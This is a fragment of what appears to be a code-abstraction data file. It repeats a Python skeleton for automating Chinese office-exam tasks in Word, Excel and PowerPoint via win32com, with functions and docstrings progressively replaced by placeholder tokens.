destFilename)\n\n def judgeCopy(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n <function token>\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n\n def rename(self, sourceFilename, destFilename):\n print(sourceFilename, '文件改名为', destFilename)\n pass\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def copy(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n\n def realdestFilename(self, destPath, destFilename):\n return destFilename\n\n def judgeNew(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n\n def judgeMov(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n sourceFilename = self.realSourceFilename('d:\\\\zrexam\\\\windows', source)\n destFilename = self.realdestFilename('d:\\\\zrexam\\\\windows', dest)\n self.mov(sourceFilename, destFilename)\n <function token>\n <function token>\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n\n def rename(self, sourceFilename, destFilename):\n print(sourceFilename, '文件改名为', destFilename)\n pass\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n <function token>\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n\n def realdestFilename(self, destPath, destFilename):\n return destFilename\n\n def judgeNew(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n\n def judgeMov(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n sourceFilename = self.realSourceFilename('d:\\\\zrexam\\\\windows', source)\n destFilename = self.realdestFilename('d:\\\\zrexam\\\\windows', dest)\n self.mov(sourceFilename, destFilename)\n <function token>\n <function token>\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n\n def rename(self, sourceFilename, destFilename):\n print(sourceFilename, '文件改名为', destFilename)\n pass\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n <function token>\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n\n def realdestFilename(self, destPath, destFilename):\n return destFilename\n <function token>\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n\n def judgeMov(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n sourceFilename = self.realSourceFilename('d:\\\\zrexam\\\\windows', source)\n destFilename = self.realdestFilename('d:\\\\zrexam\\\\windows', dest)\n self.mov(sourceFilename, destFilename)\n <function token>\n <function token>\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, 